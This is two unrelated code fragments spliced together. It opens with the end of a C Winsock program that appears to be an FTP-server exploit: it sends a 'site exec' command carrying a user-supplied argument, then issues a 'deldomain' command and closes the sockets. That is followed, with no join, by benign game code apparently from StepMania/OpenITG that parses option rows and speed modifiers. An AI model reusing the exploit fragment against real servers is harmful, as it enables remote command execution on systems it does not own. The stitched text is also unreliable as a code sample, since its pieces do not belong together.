sprintf(cadena,"site exec %s\r\n",argv[1]); send(sock2,cadena,strlen(cadena),0); shutdown(sock2,SD_BOTH); Sleep(100); ParseCommands(sock,deldomain,0,1,BANNER); send(sock,EXIT,strlen(EXIT),0); shutdown(sock,SD_BOTH); closesocket(sock); closesocket(sock2); return 0; }
virtual void Load( OptionRowDefinition &defOut, CString sParam ) { ASSERT( sParam.size() ); if( sParam.CompareNoCase("NoteSkins")==0 ) { FillNoteSkins( defOut, sParam ); return; } else if( sParam.CompareNoCase("Steps")==0 ) { FillSteps( defOut, sParam, false ); return; } else if( sParam.CompareNoCase("StepsLocked")==0 ) { FillSteps( defOut, sParam, true ); return; } else if( sParam.CompareNoCase("Characters")==0 ) { FillCharacters( defOut, sParam ); return; } else if( sParam.CompareNoCase("Styles")==0 ) { FillStyles( defOut, sParam ); return; } else if( sParam.CompareNoCase("Groups")==0 ) { FillGroups( defOut, sParam ); return; } else if( sParam.CompareNoCase("Difficulties")==0 ) { FillDifficulties( defOut, sParam ); return; } else if( sParam.CompareNoCase("SongsInCurrentSongGroup")==0 ) { FillSongsInCurrentSongGroup( defOut, sParam ); return; } Init(); defOut.Init(); m_bUseModNameForIcon = true; defOut.name = sParam; Default.Load( -1, ParseCommands(ENTRY_DEFAULT(sParam)) ); /* Parse the basic configuration metric. */ Commands cmds = ParseCommands( ENTRY(sParam) ); if( cmds.v.size() < 1 ) RageException::Throw( "Parse error in ScreenOptionsMaster::%s", sParam.c_str() ); defOut.bOneChoiceForAllPlayers = false; const int NumCols = atoi( cmds.v[0].m_vsArgs[0] ); for( unsigned i=1; i<cmds.v.size(); i++ ) { const Command &cmd = cmds.v[i]; CString sName = cmd.GetName(); if( sName == "together" ) defOut.bOneChoiceForAllPlayers = true; else if( sName == "selectmultiple" ) defOut.selectType = SELECT_MULTIPLE; else if( sName == "selectone" ) defOut.selectType = SELECT_ONE; else if( sName == "selectnone" ) defOut.selectType = SELECT_NONE; else if( sName == "showoneinrow" ) defOut.layoutType = LAYOUT_SHOW_ONE_IN_ROW; else if( sName == "reloadrowmessages" ) { for( unsigned a=1; a<cmd.m_vsArgs.size(); a++ ) m_vsReloadRowMessages.push_back( cmd.m_vsArgs[a] ); } else if( sName == "enabledforplayers" ) { defOut.m_vEnabledForPlayers.clear(); for( unsigned a=1; a<cmd.m_vsArgs.size(); a++ ) { CString sArg = cmd.m_vsArgs[a]; PlayerNumber pn = (PlayerNumber)(atoi(sArg)-1); ASSERT( pn >= 0 && pn < NUM_PLAYERS ); defOut.m_vEnabledForPlayers.insert( pn ); } } else if( sName == "exportonchange" ) defOut.m_bExportOnChange = true; else if( sName == "broadcastonexport" ) { for( unsigned i=1; i<cmd.m_vsArgs.size(); i++ ) m_vsBroadcastOnExport.push_back( cmd.m_vsArgs[i] ); } else RageException::Throw( "Unkown row flag \"%s\"", sName.c_str() ); } for( int col = 0; col < NumCols; ++col ) { GameCommand mc; mc.Load( 0, ParseCommands(ENTRY_MODE(sParam, col)) ); /* If the row has just one entry, use the name of the row as the name of the * entry. If it has more than one, each one must be specified explicitly. */ if( mc.m_sName == "" && NumCols == 1 ) mc.m_sName = sParam; if( mc.m_sName == "" ) RageException::Throw( "List \"%s\", col %i has no name", sParam.c_str(), col ); if( !mc.IsPlayable() ) { LOG->Trace( "\"%s\" is not playable.", sParam.c_str() ); continue; } ListEntries.push_back( mc ); CString sName = mc.m_sName; CString sChoice = mc.m_sName; defOut.choices.push_back( sChoice ); } // OpenITG hack: load player-defined speed mods if (sParam == "Speed") { set<CString> additionalSet; // load anything from the machine profile first Profile *pMProf = PROFILEMAN->GetMachineProfile(); if (pMProf != NULL) { FOREACH_CONST(CString, pMProf->m_sPlayerAdditionalModifiers, mod) additionalSet.insert(*mod); } // then load anything from the players' profiles FOREACH_EnabledPlayer( pn ) { Profile *pProf = PROFILEMAN->GetProfile(pn); if (pProf == NULL) continue; FOREACH_CONST(CString, pProf->m_sPlayerAdditionalModifiers, mod) additionalSet.insert(*mod); } FOREACHS_CONST( CString, additionalSet, addit_mod ) { Regex mult("^[0-9]{1,2}(\\.[0-9]{1,2})?x$"); Regex constmod("^C[0-9]{1,4}$"); Regex mmod("^M[0-9]{1,4}$"); CString sAdditModName; if (mult.Compare(*addit_mod)) { float factor = 1.0f; sscanf(*addit_mod, "%fx", &factor); sAdditModName = ssprintf("x%.1f", factor); } else if (constmod.Compare(*addit_mod)) { unsigned bpm = 300; sscanf(*addit_mod, "C%u", &bpm); sAdditModName = ssprintf("c%u", bpm); } else if (mmod.Compare(*addit_mod)) { unsigned bpm = 600; sscanf(*addit_mod, "M%u", &bpm); sAdditModName = ssprintf("m%u", bpm); } else ASSERT(0); // how'd it get in here in the first place... GameCommand mc; mc.Load( 0, ParseCommands(CString("mod,")+*addit_mod+";name,"+sAdditModName) ); if ( !mc.IsPlayable() ) { LOG->Trace( "Additional mod \"%s\" is not playable.", addit_mod->c_str() ); continue; } ListEntries.push_back(mc); defOut.choices.push_back(mc.m_sName); }